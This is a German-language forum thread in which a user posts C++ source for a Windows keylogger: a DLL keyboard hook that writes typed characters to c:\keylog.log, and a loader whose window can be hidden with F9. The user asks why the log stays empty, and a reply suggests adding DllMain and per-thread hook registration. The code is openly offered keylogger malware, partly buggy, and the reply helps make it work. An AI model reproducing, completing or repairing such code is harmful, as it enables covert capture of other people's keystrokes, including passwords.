Keyboardhook will net :(

  • ?

    Hi,

    ich hab einen keyboardhooker in einer dll welcher mir die gedrückten tasten in einer log abspeichern soll! doch der mist will nicht 😞 und die log ist leer 😞

    hier der code

    // DLL
#include <windows.h>
#include <fstream.h>
#include <stdio.h>
bool casematch;
SHORT ad;
char res;
LRESULT CALLBACK KeyboardHookProc( int code,WPARAM key, LPARAM lParam)
{
ofstream out;
		out.open("c:\\keylog.log",ofstream::out | ofstream::app);

   if (code != HC_NOREMOVE) 

   if (lParam<0)
	   if (((key>45) && (key<91)) || (key==32) )//This part captures only the following keystokes a-z ,0-9 and the space key

   {

	   res=char(key);

ad=GetKeyState(VK_SHIFT);
 	   if (ad < 0)
 casematch= TRUE;
	   else
		   casematch=FALSE;
	   if (casematch==FALSE) 
		   strlwr(&res);
	   if (casematch==TRUE)
		   strupr(&res);
  out<<res;

  	   }
   out.close();
   flush(out);  

    return CallNextHookEx(NULL, code, key, lParam);
}

    main.cpp

    # include <windows.h>

LRESULT CALLBACK WndProc(HWND,UINT,WPARAM,LPARAM);
BOOL CALLBACK em( HWND, LPCTSTR, HANDLE);

HWND hwnd;
MSG msg;
WNDCLASS wc;
int count;
LPCTSTR arr[225];
int WINAPI WinMain(HINSTANCE hinst,HINSTANCE hprev,LPSTR line,int cmd)

{
count=1;
	wc.lpfnWndProc=WndProc;
	wc.hbrBackground=(HBRUSH)GetStockObject(LTGRAY_BRUSH);
	wc.hCursor=LoadCursor(0,IDC_ARROW);
	wc.lpszClassName="KeyLogger";
	wc.hIcon=LoadIcon(0,IDI_APPLICATION);
	RegisterClass(&wc);

	hwnd=CreateWindow("KeyLogger","KeyLogger - venky_dude",WS_OVERLAPPEDWINDOW,10,10,250,75,0,0,hinst,0);
 HWND hwnd2= CreateWindowEx(0,"Static","Press F9 to Hide ", WS_BORDER | WS_CHILD | WS_VISIBLE ,30,0,150,20,hwnd,0,hinst,0); 
 HWND hwnd3= CreateWindowEx(0,"Static","Press F10 to UnHide ", WS_BORDER | WS_CHILD | WS_VISIBLE ,30,20,150,20,hwnd,0,hinst,0); 

	ShowWindow(hwnd,SW_NORMAL);
SetTimer(hwnd,1,125,0);
FARPROC		KeylogHookProc;
HINSTANCE	KeylogDLL;
HHOOK		KeylogHook;

KeylogDLL=LoadLibrary("keylogger.dll");

KeylogHookProc=GetProcAddress(KeylogDLL,"KeyboardHookProc");
DWORD rt=GetLastError();
KeylogHook=SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)KeylogHookProc,KeylogDLL,NULL);

 while(GetMessage(&msg,NULL,0,0))
	{
		TranslateMessage(&msg);
		DispatchMessage(&msg);
	}
	return(0);

}

LRESULT CALLBACK WndProc(HWND hwnd1,UINT msg1,WPARAM w_param,LPARAM l_param)
{

	if (msg1==WM_DESTROY)
		PostQuitMessage(0);
if(msg1==WM_TIMER)
{

	if (GetAsyncKeyState(VK_F9))
		ShowWindow(hwnd,SW_HIDE);
if (GetAsyncKeyState(VK_F10))
		ShowWindow(hwnd,SW_SHOWNORMAL);
}
	return DefWindowProc(hwnd1,msg1,w_param,l_param);
}

    Bitte helft mir 😞

    Du hast DllMain() in der DLL vergessen.

    Dort musst Du fuer jeden ATTACH_THREAD bzw. DETACH_THREAD Deine Hookfunktion registrieren bzw. deregistrieren.
